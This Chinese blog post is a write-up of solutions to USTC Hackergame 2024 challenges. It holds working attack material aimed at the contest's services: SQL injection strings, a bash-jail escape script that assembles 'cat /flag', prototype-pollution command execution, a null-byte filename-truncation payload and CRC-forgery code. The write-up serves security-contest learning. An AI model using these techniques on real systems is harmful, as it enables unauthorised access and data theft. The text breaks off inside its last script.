ranwen's blog

随便写写

USTC Hackergame 2024 游记

目录

0x00 签到

直接Ctrl+U看源代码,不难发现成功后会直接跳转到url ?pass=true,改一下得到flag。

0x01 喜欢做签到的 CTFer 你们好呀

不难从比赛主页打开Nebula的网站。简单探索一下shell,不难发现招新的github repo,但是并没有什么东西。于是继续探索shell,胡乱cat后报错提示有隐藏文件。直接ls -a然后cat .flag得到flag2。继续瞎试,输入env可以找到flag1。

注意到这个终端看起来不能复制,但直接打开F12从里面选就好了。

0x02 猫咪问答(Hackergame 十周年纪念版)

第一问:首先需要找到Hackergame 2015是什么,这就挺麻烦的了。不过可以从 https://lug.ustc.edu.cn/wiki/lug/events/hackergame/ 找到相关信息:那个时候还不叫Hackergame。之后就可以直接从比赛信息页上找到答案3A204了。

第二问:从 https://github.com/ustclug https://github.com/USTC-Hackergame 两个组织里面找一下历年的存档。从2019年开始,不难发现2019年有28题是最接近的(其实作为老选手来讲,印象里早期的题目都比较少,后面都是巨大量的"25"道题,所以就直接试2019年了)。从主页找到当年的新闻稿,得到2682。

第三问:直接点开花絮 https://github.com/ustclug/hackergame2018-writeups/blob/master/misc/others.md

第四问:直接在Google Scholar上搜,不难发现 FakeBehalf: Imperceptible Email Spoofing Attacks against the Delegation Mechanism in Email Systems 。浏览一下文章,不难发现答案是336(不是一眼的16*20,读一下就知道了) 。

第五问:关注新闻的同学不难直接点到 https://github.com/torvalds/linux/commit/6e90b675cf942e50c70e8394dfb5862975c3b3b2 得到答案。

第六问:直接打开 https://tiktokenizer.vercel.app/?model=meta-llama%2FMeta-Llama-3-70B ,同时隐身模式再开一个新的题目,得到答案1834,但是发现不是。左右试一试,发现是1833,可能是什么回车空格问题(当然也可以直接写脚本)。

0x03 打不开的盒

下载附件,直接使用win10自带的stl浏览器,鼠标左右键滚轮操作一下,透视到盒子内部,就可以读出flag了。

0x04 每日论文太多了!

真狠,往投稿论文里面塞ctf题。直接搜flag可以搜到一个白色的flag here的字。下载到本地,用Acrobat瞅一下,下面有个白色方块盖住了东西。拿掉后得到flag。

0x05 比大小王

题目需要比大小获胜对面。简单看一下源码,不难发现有提交时输入校验。看源码不难发现,很多东西我们不需要从网页上拿,比如直接用state.values就可以拿到所有题目。直接F12执行脚本。

let ans = [];
for(let i=0;i<100;i++) {
    let val1 = state.values[i][0];
    let val2 = state.values[i][1];
    if(val1 > val2) {
        ans.push(">");
    }
    else if(val1 < val2) {
        ans.push("<");
    }
}
submit(ans);

注意到如果交得太快会被拿下,需要把握一下时机。

0x06 旅行照片 4.0

第一问,直接搜索科里科气科创驿站,找图片,不难发现 https://www.ahchanye.com/cyzy/41693.html ,答案为东校区西门。不过这题可能会不小心搜到蜀山区的东西。

第二问,不难搜到leo学生动漫协会的微博,找到有日期20240519的牌子。

第三问,放大一下不难发现垃圾桶上是六安市的标语,搜一下六安的公园,直接猜中央公园。

第四问,这个景点显然是一个非常著名的地方。相信Google搜图的能力,直接发现为三峡景区坛子岭。

第五问,题目中这个四编组动车组的信息非常好,直接Google搜一下再匹配一下涂装,不难发现就是CRH6F-A https://www.china-emu.cn/Trains/Model/detail-26012-201-F.html 。看文章题图先猜测是怀密号,属于北京S5线路。通过运营信息,以及借助openrailwaymap,不难查到对应动车所是清河站附近的北京北动车所。结合卫星图可以确认确实是这个。答案积水潭医院。

第六题,发现左下角那个好像也是密云号,直接输CRH6F-A。

0x07 不宽的宽字符

题目给了一个使用宽字符的程序,输入文件名后会输出文件内容,但文件名会被加一个后缀。但测下来发现这个程序其实是根本用不了的。。如果输入ASCII字符的话,宽字符的第二位会出现一个00,进而直接被截断。我们正常输入文件名的话只能传到第一个字符。不过这题的思路还是很确定的:我们构造一个宽字符,使得这一个字符能代表两个ASCII字符,同时在末尾塞一个带有00的宽字符以截断。简单改一下cpp代码测试一下,发现这个宽字符的编码和python的ord是一致的。因此我们直接写py生成payload:

bts=b"Z:\\theflag\x009"
bts+=b"\x00"*(0x10-len(bts))

st=""

for i in range(0, 0x10, 2):
    v=bts[i+1]*256+bts[i]
    st+=chr(v)

print(st)
㩚瑜敨汦条㤀

0x08 PowerfulShell

看到题目:难道这就是传说中的Bash jail?题目中给定了bash eval,但输入的字符串只让使用少量特殊字符和数字,要做到任意命令执行。我们先拿printable减一下看看实际能用的字符有哪些。

['\t', '\n', '\x0b', '\x0c', '\r', ' ', '$', '+', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '=', '[', ']', '_', '`', '{', '|', '}', '~']

我们去直接google搜一下bash jail,容易发现一个类似的题目: https://github.com/trichimtrich/bashfuck/blob/master/bashfuck_linux.py。

阅读一下代码,基本思路是这样:首先我们可以用大量下划线来存储变量。用${x:a:b}的方法可以裁剪字符串,进而我们可以拼接任意字符串。同时,原题中我们可以利用中$($x)的方法来执行命令,进而获取到一个更长的输出,可以裁剪出更多的字符串。注意到虽然本题禁了括号,但是可以用`,更方便了。同时,原题中使用#是为了获取字符串长度,进而避免使用数字。我们这个题可以很容易的使用数字(虽然0不行,但是可以用加减号就可以随便导出了)。此时基本思路已经成型了,考虑怎么构造字符集的迭代。

注意到原文中给的变量里面,至少存在两个环境规定的变量:_~。本地起个docker测试一下,发现这两个分别是input/players。我们考虑他能组成什么命令。我直接ls /bin,首先引入眼帘的就是apt,执行了一下,发现会吐一大坨东西,直接拿来构造任意字符串应该非常容易。因此我们直接构造cat /flag就行(造ls也完全没有问题)。

import random

def safestr(v):
    if not "0" in str(v):
        return str(v)
    while True:
        va = random.randint(0,v+10) + v
        vb = va - v
        if "0" in str(va) or "0" in str(vb):
            continue
        return str(va) + "-" + str(vb)

def addchar(c,fr,inp,oup):
    assert c in fr
    k = fr.find(c)
    tmp = oup + "=$" + oup + "${" + inp + ":" + safestr(k) + ":1}\n"
    return tmp

cmd=""
cmd+="___=$_\n"
cmd+="____=~\n"
cmd+="__=\n"

c1="input"
c2="/players"

cmd+=addchar("a",c2,"____","__")
cmd+=addchar("p",c1,"___","__")
cmd+=addchar("t",c1,"___","__")

cmd+="___=`$__`\n"

c3="apt 2.4.13 (amd64) Usage: apt [options] command  apt is a commandline package manager and provides commands for searching and managing as well as querying information about packages. It provides the same functionality as the specialized APT tools, like apt-get and apt-cache, but enables options more suitable for interactive use by default.  Most used commands:   list - list packages based on package names   search - search in package descriptions   show - show package details   install - install packages   reinstall - reinstall packages   remove - remove packages   autoremove - Remove automatically all unused packages   update - update list of available packages   upgrade - upgrade the system by installing/upgrading packages   full-upgrade - upgrade the system by removing/installing/upgrading packages   edit-sources - edit the source information file   satisfy - satisfy dependency strings  See apt(8) for more information about the available commands. Configuration options and syntax is detailed in apt.conf(5). Information about how to configure sources can be found in sources.list(5). Package and version choices can be expressed via apt_preferences(5). Security details are available in apt-secure(8).                                         This APT has Super Cow Powers. "

cmd+="__=\n"
cmd+=addchar("c",c3,"___","__")
cmd+=addchar("a",c3,"___","__")
cmd+=addchar("t",c3,"___","__")
cmd+=addchar(" ",c3,"___","__")
cmd+=addchar("/",c3,"___","__")
cmd+=addchar("f",c3,"___","__")
cmd+=addchar("l",c3,"___","__")
cmd+=addchar("a",c3,"___","__")
cmd+=addchar("g",c3,"___","__")

cmd+="$__\n"

print(cmd)
___=$_
____=~
__=
__=$__${____:3:1}
__=$__${___:2:1}
__=$__${___:4:1}
___=`$__`
__=
__=$__${___:58-18:1}
__=$__${___:4-4:1}
__=$__${___:2:1}
__=$__${___:3:1}
__=$__${___:715:1}
__=$__${___:141-33:1}
__=$__${___:65:1}
__=$__${___:8-8:1}
__=$__${___:22:1}
$__

0x09 Node.js is Web Scale

打开题目,发现源码。看到题目中可以任意多级操作一个dict的内容,赛棍一眼就知道了是原型链污染。同时题目中也写了exec执行命令的部分,用execute?cmd=x,就可以执行cmds数组中key为x的命令。

所以只需要设置 __proto__.hack 的内容为 cat /flag。再去调用 execute?cmd=hack,由于原型链污染,查cmds[hack]的时候就会直接查到我们设置的内容上,得到flag。

0x0A PaoluGPT

观察源码不难发现,本题存在SQL注入漏洞。我们直接该view的url到 6' or shown=false--- 获得flag2,注意需要多拉一下滚轮。

flag1当然也不用写爬虫了。直接6' or contents like "%flag%"---

0x0B 强大的正则表达式

本题需要写一个简化的正则表达式(就是编译原理里面学的最简单的,只有|*两种运算)。这个表达式需要完成三个判定任务:十进制判16倍数,二进制判13倍数,数字字符串算crc3。

观察评测程序:这个评测程序会随机生成150个阴性和阳性case,每次随机生成2**64以内的数字进行测试。需要通过全部的测试。同时输入的正则表达式长度应该在一百万以内。

先看flag1:显然看一个十进制数是不是16的倍数,只需要看他的后四位是不是16的倍数。同时由于是在大范围随机的,所以我们可以直接假设所有数字都有至少四位数。因此我们枚举一下后四位是4的倍数的结果,用|拼接起来就行,前面再接上一个[0-9]*用于接受高位。如果想要压缩长度,还可以按两位合并一下。

import re

regs=[]

for i in range(100):
    cur=[]
    for j in range(100):
        cv=i*100+j
        if cv%16!=0:
            continue
        cur.append(j)
    regs.append(("%02d"%i)+"("+"|".join([("%02d"%x) for x in cur])+")")

cre="(0|1|2|3|4|5|6|7|8|9)*("+"|".join(regs)+")"

print(cre)

rex=re.compile(cre)
for i in range(35):
    print(i,rex.fullmatch(str(10000+i)))
(0|1|2|3|4|5|6|7|8|9)*(00(00|16|32|48|64|80|96)|01(12|28|44|60|76|92)|02(08|24|40|56|72|88)|03(04|20|36|52|68|84)|04(00|16|32|48|64|80|96)|05(12|28|44|60|76|92)|06(08|24|40|56|72|88)|07(04|20|36|52|68|84)|08(00|16|32|48|64|80|96)|09(12|28|44|60|76|92)|10(08|24|40|56|72|88)|11(04|20|36|52|68|84)|12(00|16|32|48|64|80|96)|13(12|28|44|60|76|92)|14(08|24|40|56|72|88)|15(04|20|36|52|68|84)|16(00|16|32|48|64|80|96)|17(12|28|44|60|76|92)|18(08|24|40|56|72|88)|19(04|20|36|52|68|84)|20(00|16|32|48|64|80|96)|21(12|28|44|60|76|92)|22(08|24|40|56|72|88)|23(04|20|36|52|68|84)|24(00|16|32|48|64|80|96)|25(12|28|44|60|76|92)|26(08|24|40|56|72|88)|27(04|20|36|52|68|84)|28(00|16|32|48|64|80|96)|29(12|28|44|60|76|92)|30(08|24|40|56|72|88)|31(04|20|36|52|68|84)|32(00|16|32|48|64|80|96)|33(12|28|44|60|76|92)|34(08|24|40|56|72|88)|35(04|20|36|52|68|84)|36(00|16|32|48|64|80|96)|37(12|28|44|60|76|92)|38(08|24|40|56|72|88)|39(04|20|36|52|68|84)|40(00|16|32|48|64|80|96)|41(12|28|44|60|76|92)|42(08|24|40|56|72|88)|43(04|20|36|52|68|84)|44(00|16|32|48|64|80|96)|45(12|28|44|60|76|92)|46(08|24|40|56|72|88)|47(04|20|36|52|68|84)|48(00|16|32|48|64|80|96)|49(12|28|44|60|76|92)|50(08|24|40|56|72|88)|51(04|20|36|52|68|84)|52(00|16|32|48|64|80|96)|53(12|28|44|60|76|92)|54(08|24|40|56|72|88)|55(04|20|36|52|68|84)|56(00|16|32|48|64|80|96)|57(12|28|44|60|76|92)|58(08|24|40|56|72|88)|59(04|20|36|52|68|84)|60(00|16|32|48|64|80|96)|61(12|28|44|60|76|92)|62(08|24|40|56|72|88)|63(04|20|36|52|68|84)|64(00|16|32|48|64|80|96)|65(12|28|44|60|76|92)|66(08|24|40|56|72|88)|67(04|20|36|52|68|84)|68(00|16|32|48|64|80|96)|69(12|28|44|60|76|92)|70(08|24|40|56|72|88)|71(04|20|36|52|68|84)|72(00|16|32|48|64|80|96)|73(12|28|44|60|76|92)|74(08|24|40|56|72|88)|75(04|20|36|52|68|84)|76(00|16|32|48|64|80|96)|77(12|28|44|60|76|92)|78(08|24|40|56|72|88)|79(04|20|36|52|68|84)|80(00|16|32|48|64|80|96)|81(12|28|44|60|76|92)|82(08|24|40|56|72|88)|83(04|20|36|52|68|84)|84(00|16|32|48|64|80|96)|85(12|28|44|60|76|92)|86(08|24|40|56|72|88)|87(04|20|36|52|68|84)|88(00|16|32|48|64|80|96)|89(12|28|44|60|76|92)|90(08|24|40|56|72|88)|91(04|20|36|52|68|84)|92(00|16|32|48|64|80|96)|93(12|28|44|60|76|92)|94(08|24|40|56|72|88)|95(04|20|36|52|68|84)|96(00|16|32|48|64|80|96)|97(12|28|44|60|76|92)|98(08|24|40|56|72|88)|99(04|20|36|52|68|84))

再看flag2:学过编译原理的同学不难知道,正则表达式和DFA是完全等价的。显然后面这两问都可以容易生成DFA。我们先造个DFA,网上找几个DFA生成正则表达式的程序跑一跑,结果发现都跑不出来!网上很多实现都过于暴力优化太少,或者是针对NFA做的,状态数直接爆炸了,就算跑出来也是特别长。于是我们自己写一个转换,做一做状态合并之类的优化。这个程序还可以尝试去做一下状态分析的优化,以及正则串合并之类的(目前执行时加入了一些随机顺序,而每次生成的答案长度都不一样,显然说明优化空间非常大),但是我鸽了。

((((((0|1101)|100111)|(1000|10(1|010)01)((10|11001))*(111|00)1)|((111|10(1|010)00)|(1000|10(1|010)01)((10|11001))*(01|11000))(((011|(1|00)(1|010)00)|((1|00)00|(1|00)(1|010)01)((10|11001))*(01|11000)))*((0101|(1|00)0111)|((1|00)00|(1|00)(1|010)01)((10|11001))*(111|00)1))|(((10(1|010)1|(1000|10(1|010)01)((10|11001))*1101)|((1100|100110)|(1000|10(1|010)01)((10|11001))*(111|00)0)(1)*0)|((111|10(1|010)00)|(1000|10(1|010)01)((10|11001))*(01|11000))(((011|(1|00)(1|010)00)|((1|00)00|(1|00)(1|010)01)((10|11001))*(01|11000)))*(((1|00)(1|010)1|((1|00)00|(1|00)(1|010)01)((10|11001))*1101)|((0100|(1|00)0110)|((1|00)00|(1|00)(1|010)01)((10|11001))*(111|00)0)(1)*0))((((001|(11|0001)((10|11001))*1101)|(010|(11|0001)((10|11001))*(111|00)0)(1)*0)|((10|0000)|(11|0001)((10|11001))*(01|11000))(((011|(1|00)(1|010)00)|((1|00)00|(1|00)(1|010)01)((10|11001))*(01|11000)))*(((1|00)(1|010)1|((1|00)00|(1|00)(1|010)01)((10|11001))*1101)|((0100|(1|00)0110)|((1|00)00|(1|00)(1|010)01)((10|11001))*(111|00)0)(1)*0)))*((011|(11|0001)((10|11001))*(111|00)1)|((10|0000)|(11|0001)((10|11001))*(01|11000))(((011|(1|00)(1|010)00)|((1|00)00|(1|00)(1|010)01)((10|11001))*(01|11000)))*((0101|(1|00)0111)|((1|00)00|(1|00)(1|010)01)((10|11001))*(111|00)1))))*

最后看flag3:我们当然可以先去学crc3,但是如果你会crc32的话,可以先猜一下,每次添加字符时,状态的改变矩阵都是确定的:

import libscrc
trans={i:{} for i in range(8)}

for i in range(1,1000):
    oldv=libscrc.gsm3(str(i).encode())
    for j in range(10):
        newv=libscrc.gsm3(str(i*10+j).encode())
        if j in trans[oldv]:
            assert newv==trans[oldv][j]
        else:
            trans[oldv][j]=newv

发现是好的。所以我们直接dump转移矩阵造DFA就好了。继续跑第二题的程序,可以得到正则。这个确实有点长了。

#reduce regex & eliminate left recursion

import re
import random
import libscrc

def tosaferegex(r):
    if len(r)<=1:
        return r
    ret="("+r+")"
    return ret

class Regex1:
    def __init__(self, symbol, arr):
        self.right = arr
        self.left = symbol
    
    def __str__(self):
        return self.left+" "+self.right

class Regexs:
    def __init__(self, arr, symbol,hasempty=False):
        self.arr = arr
        for i in range(len(self.arr)):
            assert isinstance(self.arr[i], Regex1)
        self.symbol = symbol
        self.hasempty=hasempty
    
    def eliminate_left_recursion(self):
        subseqs=[]
        nsubseqs=[]
        for i in range(len(self.arr)):
            if self.arr[i].left==self.symbol:
                subseqs.append(i)
            else:
                nsubseqs.append(i)
        if len(subseqs)==0:
            return
        if len(subseqs)==1:
            rrstr="("+self.arr[subseqs[0]].right+")*"
        else:
            rrstr="("
            rrstr+="|".join([self.arr[i].right for i in subseqs])
            rrstr+=")*"
        ret=[]
        for i in nsubseqs:
            ret.append(Regex1(self.arr[i].left,self.arr[i].right+rrstr))
        if self.hasempty:
            ret.append(Regex1("",rrstr))
        ret.sort(key=lambda x:x.left)
        self.arr=ret
    
    def substitute(self, regexs):
        rsym=regexs.symbol
        ret=[]
        tres=[]
        for i in range(len(self.arr)):
            if self.arr[i].left==rsym:
                tres.append(self.arr[i].right)
            else:
                ret.append(self.arr[i])
        for ob in tres:
            for rt in regexs.arr:
                ret.append(Regex1(rt.left,rt.right+ob))
        ret.sort(key=lambda x:x.left)
        #merge same left
        by_left={}
        for i in range(len(ret)):
            if ret[i].left not in by_left:
                by_left[ret[i].left]=[]
            by_left[ret[i].left].append(i)
        ret1=[]
        for k,v in by_left.items():
            if len(v)==1:
                ret1.append(ret[v[0]])
            else:
                rrstr="("
                rrstr+="|".join([ret[i].right for i in v])
                rrstr+=")"
                ret1.append(Regex1(k,rrstr))
        self.arr=ret1
    
    def __str__(self):
        return self.symbol+"::="+"|".join(["("+str(x)+")" for x in self.arr])

regs={}
def append_state(regs,symbol, trans,hasempty=False):
    assert symbol not in regs
    arr=[]
    for a,b in trans:
        arr.append(Regex1(a,b))
    regs.update({symbol:Regexs(arr,symbol,hasempty)})

def auto_eliminate(regs,workstate):
    sts=list(regs.keys())
    random.shuffle(sts)
    #swap beginstate to the last
    for i in range(len(sts)):
        if sts[i]==workstate:
            sts[i],sts[-1]=sts[-1],sts[i]
            break
    for i in range(len(sts)):
        for j in range(i):
            regs[sts[i]].substitute(regs[sts[j]])
        regs[sts[i]].eliminate_left_recursion()
        print(i,sts[i],len(str(regs[sts[i]])))
        if len(str(regs[sts[i]]))<1000:
            print(regs[sts[i]])
    assert len(regs[sts[-1]].arr)==1
    assert regs[sts[-1]].arr[0].left==""
    return regs[sts[-1]]

def work13():
    gtss={}
    for st in range(13):
        for tr in range(2):
            tst="M"+str((st*2+tr)%13)
            if tst not in gtss:
                gtss[tst]=[]
            gtss[tst].append(("M"+str(st),str(tr)))
    for st in range(13):
        myst="M"+str(st)
        append_state(regs,myst,gtss[myst],st==0)
    # print(regs)
    xreg=auto_eliminate(regs,"M0")
    rreg=xreg.arr[0].right
    print(rreg)
    reg=re.compile(rreg)
    for i in range(40):
        print(i,reg.fullmatch(bin(i)[2:]))

# work13()

def workcrc():
    trans={i:{} for i in range(8)}
    for i in range(1,1000):
        oldv=libscrc.gsm3(str(i).encode())
        for j in range(10):
            newv=libscrc.gsm3(str(i*10+j).encode())
            if j in trans[oldv]:
                assert newv==trans[oldv][j]
            else:
                trans[oldv][j]=newv
    gtss={}
    for st in range(8):
        for tr in range(10):
            tst="M"+str(trans[st][tr])
            if tst not in gtss:
                gtss[tst]=[]
            gtss[tst].append(("M"+str(st),str(tr)))
    begs=None
    for i in range(10):
        v=libscrc.gsm3(str(i).encode())
        mv=[x[0] for x in gtss["M"+str(v)] if x[1]==str(i)][0]
        if begs is None:
            begs=mv
        else:
            assert begs==mv
    for st in range(8):
        myst="M"+str(st)
        append_state(regs,myst,gtss[myst],myst==begs)
        print(myst,regs[myst])
    # print(regs)
    xreg=auto_eliminate(regs,"M0")
    rreg=xreg.arr[0].right
    print(rreg)
    reg=re.compile(rreg)
    for i in range(40):
        print(i,reg.fullmatch(str(i)),libscrc.gsm3(str(i).encode()))

workcrc()

0x0C 惜字如金 3.0

本题要做的任务非常简单:(应该)完整恢复一份代码。每个代码分别对应该题目的后端实现。恢复之后上传就可以得到flag。

第一问,我们直接按照题目中所给的规则,把被处理的单词恢复一下就好了。注意到每一行有空格提示被删去了多少字符,同时被处理的词都是函数函数名之类的,手动恢复不难。

第二问,我们仍然使用上述方法恢复,但是注意到第七行被删去了一大坨B,而且这个B的大小写对程序的正确运行是关键的。因此我们需要阅读代码本身的实现。第七行是在一个crc函数内,里面实现了一个非常好的crc48。而这一坨B就是表示crc48的多项式。这就意味着我们需要恢复crc多项式。

恢复crc多项式的前提是可以运行crc函数,即需要知道输入所对应的crc值(题目中只给了一个hash)。我们观察hash函数,发现里面实现了一个带取模的二次函数,把crc值映射出来。同时题目中不难发现,我们可以传入任意一个文件,如果这个文件的某一行和原来的不匹配,就会输出我们文件这一行的hash。这也就意味着我们只需要解模意义下的二次方程就可以得到任意给定输入的crc值了。

这块我的实现先是用了传统一元二次方程组的解法(即配方算delta然后求根)。没记错的话,这个解法在模数为大素数的时候是有效的。但是可惜本题取模的是2的幂,在大部分时候只能算出一个解(同时无法推出另一个解),而对于特定的多项式,这个解一定不是真正的原像,导致我们后续没法做(被坑了好久,以为多随机就好了)。不过我们经过搜索,不难搜到一篇论文:https://nntdm.net/papers/nntdm-25/NNTDM-25-1-075-083.pdf 照着这个实现就可以。但我们当然不需要这么实现,比如我们可以使用万能的SageMath直接求根。测了一下发现速度很快,而且能求出所有解。当然使用z3也是可以的,毕竟加减乘和取模都是bit操作。

这时候我们已经可以得到任意输入的crc值了。如果想要得到crc异或多项式,有一个非常简单的方法:构造两个消息,这两个消息仅有最后一位(流式模式)是不同的,那么这两个数在计算crc的时候,只会在最后一位计算时产生不同,结果正好差了一个异或多项式。因此我们只需要这么构造两个输入,从网站上拉到他们的hash,还原出crc之后异或一下就好了。注意到中间hash解crc时会有多个解,因此我们还需要再代入回crc函数测一遍。

但这个方法实际写的时候可能会出问题。因为这个最后一位,在我们要提交的字符串中,对应的是最后一个字符的最高位。这就意味着一定有一个字符是非ASCII字符,会锅。因此我们考虑改倒数第二位。此时这两个内容的crc去做异或,可能有两种情况:如果crc多项式的低位是0,则只有倒数第二位会产生不同的操作,倒数第一位由于都异或了0,因此操作一致,此时有diff=poly>>1;如果crc多项式的低位是1,则倒数第二位产生不同操作后,由于倒数第一位被发生了改变,因此倒数第一位也会有不同操作,则有diff=poly|(poly>>1)。我们把两种情况都枚举一下,代回去检查一下就好了。此时已经可以解出第二问了。

f=open("file1","wb")
for i in range(26):
    f.write(bytes([ord("A")+i]*79))
    f.write(bytes([ord("0")]))
    f.write(b"\n")
f.close()

f=open("file2","wb")
for i in range(26):
    f.write(bytes([ord("A")+i]*79))
    f.write(bytes([ord("0")+64]))
    f.write(b"\n")
f.close()
import gmpy2
import random as pyrandom
import string
from sage.all import *
import base64

poly, poly_degree = 'BBbbbBbbBBbbBbBbbbbbBbBBBbBBbbbBBBbBBbbBBbbBBBbBB', 48

u2, u1, u0 = 0xdbeEaed4cF43, 0xFDFECeBdeeD9, 0xB7E85A4E5Dcd
# u2, u1, u0 = 0xdfffffffffff, 0xffffffffffff, 0xffffffffffff

def crc(input: bytes) -> int:                                                   
    assert len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == 'B' 
    flip = sum(['b', 'B'].index(poly[i + 1]) << i for i in range(poly_degree))  
    digest = (1 << poly_degree) - 1                                             
    for b in input:                                               
        digest = digest ^ b                                                                   
        # print("WOW",hex(digest))
        for _ in range(8):                  
            digest = (digest >> 1) ^ (flip if digest & 1 == 1 else 0)                                           
            # print(hex(digest))    
    return digest ^ (1 << poly_degree) - 1                           

def hash(input: bytes) -> bytes:                                                
    digest = crc(input)                  
    print("H",hex(digest))                                                    
    # assert (u2, u1, u0) == (246290604621823, 281474976710655, 281474976710655)  
    assert (u2, u1, u0) == (241818181881667, 279270832074457, 202208575380941)  
    digest = (digest * (digest * u2 + u1) + u0) % (1 << 48)                     
    return digest.to_bytes(48 // 8, 'little')      

def transh(x):
    return (x * (x * u2 + u1) + u0) % (1 << 48)

#invert 1

def inv1(x):
    digest = int.from_bytes(x, 'little')
    a = u2
    b = u1
    c = (u0 - digest) % (1 << 48)
    x = var('x')
    eq = a*x*x + b*x + c == 0
    sol = solve_mod(eq, (1<<48),x)
    ret = []
    for i in sol:
        ret.append(int(i[x]))
    ret.sort()
    ret = list(set(ret))
    crh = [i for i in ret if transh(i) == digest]
    assert len(crh) == 2
    print(hex(crh[0]), hex(crh[1]))
    return crh

def dotest(tstr1,tstr2,hs1,hs2):
    global poly
    print(hs1.hex())
    print(hs2.hex())

    h1s=inv1(hs1)
    h2s=inv1(hs2)

    print("INVI")

    for h1 in h1s:
        for h2 in h2s:
            for cas in range(2):
                polyh = h1^h2
                if cas==0:
                    poly1 = polyh<<1
                else:
                    polyp = (polyh<<1)|1
                    poly1 = 0
                    for i in range(50):
                        poly1 ^= polyp<<i
                    poly1 = poly1 & ((1<<48)-1)

                pb1="B"+"".join(["bB"[(poly1>>i)&1] for i in range(48)])
                print(hex(h1),hex(h2),hex(poly1))
                print(pb1)

                poly=pb1
                if not (len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == 'B'):
                    continue

                if hash(tstr1)==hs1 and hash(tstr2)==hs2:
                    print("FOUND")
                    print(pb1)
                    return True

def readhash(fn):
    f=open(fn,"r")
    data=f.read().split()
    f.close()
    rts=[]
    for o in data:
        if o.startswith("(") and o.endswith(")"):
            rts.append(bytes.fromhex(o[1:-1]))
            assert len(rts[-1])==6
    return rts

hs1s=readhash("hsc1.txt")
hs2s=readhash("hsc2.txt")

assert len(hs1s)==len(hs2s) and len(hs1s)==26

for i in range(26):
    print("TEST",i)
    tstr1=bytes([ord("A")+i]*79)+bytes([ord("0")])
    tstr2=bytes([ord("A")+i]*79)+bytes([ord("0")+64])
    if dotest(tstr1,tstr2,hs1s[i],hs2s[i]):
        print("OK")
        print("OK")
        print("OK")
        print(poly)
        poly=poly.replace("B","C")
        poly=poly.replace("b","c")
        print(poly)
        break

tfn=b"answer_c"
hsb=base64.b85decode(tfn)
assert tfn == base64.b85encode(hsb)
print(hsb,tfn)

ress=inv1(hsb)[0]
print(ress)

之后我们做第三问。我们发现和第二问几乎是一样的,除了20行被删去了一堆f。我们先用同样的方法把上面的多项式算出来并补齐,之后研究怎么补这一堆f。注意到我们无法直接获取到任何关于这一行的信息,因此我们只能迂回一下。考虑再审计代码,不难发现该题判断匹配的方式非常奇妙。一是使用了filedb,把所有文件都混到了一坨(这也就意味着我们可以读到其他文件的行,只要知道哈希)。另外一个是判断写的非常奇怪:判断行匹配时会先判断内容是否相同,判断是否是当前行反而是最后一个条件。同时判断内容是否相同时,会返回最后一个不同的字符(但只返回我们输入的那个)。经验丰富的同学已经可以看出:我们很容易利用这个东西写一个k分搜索,枚举最后一个不同的字符是哪个,之后一并上传测试。如果这一行的返回内容不是我们枚举的字符,而是倒数第二个字符,就说明我们枚举对了。进而我们可以逐个字符枚举出该行所有的字符。但这么做的前提条件是,这些字符串的哈希正好是我们希望匹配的行的哈希。然而我们并不能知道第20行的哈希值,其他知道哈希值的行使用这个算法也没什么用(毕竟内容都知道了)。

注意到前面提到的另外filedb,不如我们想想这个程序都可能读到哪些文件。我们发现下面居然有一个存着flag的answer_c.txt,而这个文件名正好是一个可以被算出来的hash(可以被b85表示的uint48)。因此我们的思路就已经非常明确了:枚举answer_c.txt的内容,枚举的时候要控制当前行的hash始终为answer_c,即我们需要构造crc。构造指定crc是非常成熟的使用高斯消元的题目,可以直接大力使用z3。不过我为了快速,手写了高斯消元(结果最后坑了)。为了写起来更方便,我最开始让字符串集分布在[64,95]内,此时这个范围内的每一个字符都是安全的可见字符,同时末尾5位是完全自由没有任何依赖的。

显然,我们在枚举后面字符串的时候,可以用前面的串乱搞来操作crc。由于我们需要控制48位,每一个字符可以自由操作5位,因此我们会改变前10个字符。注意到flag是使用b85编码的,这意味着正好是两个块,对应8个字节。我们可以获得flag第8位后的所有内容。其实这个时候我们已经可以过题了,因为拿到的flag是:

flag{___3-Y0u-3ver-Tr1ed-T0-Guess-0ne-0f-The-R0ws?}

经验丰富的老赛棍可以直接猜flag:填Hav或者H4v,毕竟这是唯一的符合英语语法,同时又和后续单词格式一致的写法了。可惜这个不是真flag。出题人故意把flag设成了不符合格式的写法(写个脚本自动提交flag容易破)。

可惜我翻了单词表都没猜出来,但上面的东西是显然可以优化的:比如我们每一个数可以使用[32,95]范围的数,这样的话后6位都是自由的了,但是第7位和第6位始终是绑定的(要么为01要么为10),写起来需要麻烦一点。这样看起来我们就可以把不可控字符压缩到8个了,但是可惜前8个字符构成的crc关系式是线性相关的,不够。我们还需要从第9个字符里面拿两个bit。我们只能得到前9个字符了。此时我们枚举b85的第二个分组中的前四个字符,可以得到约3000像flag的东西,也非常不好。

我们再考虑能不能优化:注意到第九个字符里面最多只会被动两个bit,这就意味着有很大的概率他不会被动。同时我们可以大力随机前面的8位字符串,让他获得一个不在[32,95]范围内的基础base值(这意味着我们原来的使用32作为base的高斯消元是无法直接求解的,因为只能解出来[32,95]之间的数),这样使用crc高斯消元构造出来的结果也是正确的,只是可能不在可见字符范围内,但这个概率仍然很大(如果只有一个字符不在这个基础值内,那么这个位置在构造结果中也有约1/2概率是可见字符)。因此我们只需要一直大力随机,找到一个可以保持第九位不动的基础字符串,同时全是可见字符的构造值。之后,我们再去喂给k分搜索尝试,就可以得到第9个字符。

之后我们只需要枚举该分组的前三个字符。结合可见字符条件判断,最终只有几十个候选结果。不难从中找到真正的flag:

flag{HAV3-Y0u-3ver-Tr1ed-T0-Guess-0ne-0f-The-R0ws?}

最后这个不给猜真的是太恶心了,利好脚本爆破平台。

import base64, itertools, os, re
import json
import requests
import string
import random

def crc(input: bytes) -> int:                                                   
    poly, poly_degree = 'CcccCCcCcccCCCCcCCccCCccccCccCcCCCcCCCCCCCccCCCCC', 48 
    assert len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == 'C' 
    flip = sum(['c', 'C'].index(poly[i + 1]) << i for i in range(poly_degree))  
    digest = (1 << poly_degree) - 1                                             
    for b in input:                                                             
        digest = digest ^ b                                                     
        for _ in range(8):                                                      
            digest = (digest >> 1) ^ (flip if digest & 1 == 1 else 0)           
    return digest ^ (1 << poly_degree) - 1                                      
                                                                                
                                                                                
def hash(input: bytes) -> bytes:                                                
    digest = crc(input)                                                         
    u2, u1, u0 = 0xdfffffffffff, 0xffffffffffff, 0xffffffffffff                 
